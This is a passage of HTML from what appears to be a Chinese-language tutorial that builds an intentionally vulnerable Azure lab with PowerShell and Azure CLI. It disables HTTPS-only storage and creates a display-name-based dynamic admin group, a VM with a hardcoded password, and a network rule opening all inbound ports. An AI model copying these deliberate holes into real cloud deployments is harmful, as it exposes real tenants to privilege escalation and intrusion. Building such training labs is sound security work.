41, 46);"><span leaf="">SkuName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;Standard_LRS&#39;</span></span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">Location</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">location</span></span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">EnableHttpsTrafficOnly</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">false</span></span><br/><span leaf="">}</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">StorageAccount</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">New-AzStorageAccount</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">@</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">StorageAccountProv</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">Context</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">StorageAccount</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">.Context</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">ContainerName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;files&#39;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">New-AzStorageContainer</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Name </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">ContainerName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Context </span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">Context</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Permission Container</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">TestCSV</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">@</span></span><span leaf="">{</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">File</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;.\test.csv&#39;</span></span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">Container</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">ContainerName</span></span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">Blob</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;test.csv&#34;</span></span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">Context</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">Context</span></span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">StandardBlobTier</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;Hot&#39;</span></span><br/><span leaf="">}</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Set-AzStorageBlobContent</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">@</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">TestCSV</span></span></code></pre><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">创建名为 &#34;AutomationAdmins&#34; 的动态组</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">使其添加显示名称中包含 &#34;automationadmin&#34; 的任何用户</span></p></li></ul><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(0, 92, 197);"><span leaf="">Import-Module</span></span><span leaf=""> AzureADPreview </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Force</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">New-AzureADMSGroup</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">DisplayName </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;AutomationAdmins&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Description </span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;This dynamic group will add any AAD user with &#39;automationadmin&#39; in Display Name&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">MailEnabled </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">False</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">MailNickName </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;AutomationAdmins&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">SecurityEnabled </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">True</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">GroupTypes </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;DynamicMembership&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">MembershipRule </span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;(user.displayName -contains &#34;automationadmin&#34;)&#39;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">MembershipRuleProcessingState </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;On&#34;</span></span></code></pre><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">在订阅 IAM 中将 &#34;AutomationAdmins&#34; 分配为 &#34;Automation Contributor&#34; 角色</span></p></li></ul><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">AutomationAdminsID</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> (</span><span style="color: rgb(0, 92, 197);"><span leaf="">Get-AzADGroup</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">DisplayName AutomationAdmins).id</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">New-AzRoleAssignment</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">ObjectId </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">AutomationAdminsID</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">RoleDefinitionName </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Automation Contributor&#34;</span></span></code></pre><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">创建服务主体并在订阅 IAM 中将其分配为 &#34;Virtual Machine Contributor&#34; 角色</span></p></li></ul><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">az login</span><br/><span leaf="">az ad sp create-for-rbac --name VMContributor --role </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Virtual Machine Contributor&#34;</span></span></code></pre><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">创建名为 &#34;AutomationAccount&#34; 的独立自动化账户</span></p></li></ul><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">resourceGroup</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;AUTOMATION&#34;</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">location</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;northeurope&#34;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">New-AzResourceGroup</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Name </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">resourceGroup</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Location </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">location</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">New-AzAutomationAccount</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Name </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;AutomationAccount&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Location </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">location</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">ResourceGroupName </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">resourceGroup</span></span></code></pre><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">将 PowerShell 脚本导入为自动化 Runbook</span></p></li></ul><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">params</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">@</span></span><span leaf="">{</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">AutomationAccountName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;AutomationAccount&#39;</span></span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">Name</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;RunBookPowerShell&#39;</span></span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">ResourceGroupName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;AUTOMATION&#39;</span></span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">Type</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;PowerShell&#39;</span></span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">Path</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;.\VMContribScript.ps1&#39;</span></span><br/><span leaf="">}</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Import-AzAutomationRunbook</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">@</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">params</span></span></code></pre><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">创建具有用户分配托管标识的虚拟机</span></p></li></ul><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">rgName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;VMRG&#39;</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">location</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;northeurope&#39;</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">New-AzResourceGroup</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Name </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">rgName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Location </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">location</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">ip</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">@</span></span><span leaf="">{</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">Name</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;AZVMPUBLICIP&#39;</span></span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">ResourceGroupName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">rgName</span></span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">Location</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">location</span></span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">Sku</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;Standard&#39;</span></span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">AllocationMethod</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;Static&#39;</span></span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">IpAddressVersion</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;IPv4&#39;</span></span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">Zone</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">,</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">,</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">3</span></span><br/><span leaf="">}</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">New-AzPublicIpAddress</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">@</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">ip</span></span><br/><span style="color: rgb(106, 115, 125);"><span leaf=""># 创建虚拟机</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">vmName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;AZHACK&#39;</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">userName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;rootnation&#39;</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">plainTextPassword</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;6<a class="wx_topic_link" topic-id="mopufhm6-7crtb4" style="color: #576B95 !important;" data-topic="1" data-recommend="">#d</a>_PL)tC@%2D[N&#39;</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">securePassword</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">plainTextPassword</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">ConvertTo-SecureString</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">AsPlainText </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Force</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">credential</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> [</span><span style="color: rgb(215, 58, 73);"><span leaf="">pscredential</span></span><span leaf="">]::new(</span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">userName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">,</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">securePassword</span></span><span leaf="">)</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">vm</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">New-AzVM</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">ResourceGroupName </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">rgName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Name </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">vmName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Location </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">location</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Credential </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">credential</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">PublicIpAddressName </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;AZVMPUBLICIP&#39;</span></span><br/><span style="color: rgb(106, 115, 125);"><span leaf=""># 允许所有入站流量到虚拟机</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Get-AzNetworkSecurityGroup</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Name </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">vmName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">ResourceGroupName </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">rgName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Add-AzNetworkSecurityRuleConfig</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Name </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;ALL&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Description </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Allow all ports&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Access </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Allow&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Protocol </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Tcp&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Direction </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Inbound&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Priority </span><span style="color: rgb(0, 92, 197);"><span leaf="">100</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">SourceAddressPrefix </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;*&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">SourcePortRange </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;*&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">DestinationAddressPrefix </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;*&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">`</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">DestinationPortRange </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;*&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Set-AzNetworkSecurityGroup</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Install-Module</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Name Az.ManagedServiceIdentity </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Scope CurrentUser</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">identityName</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span 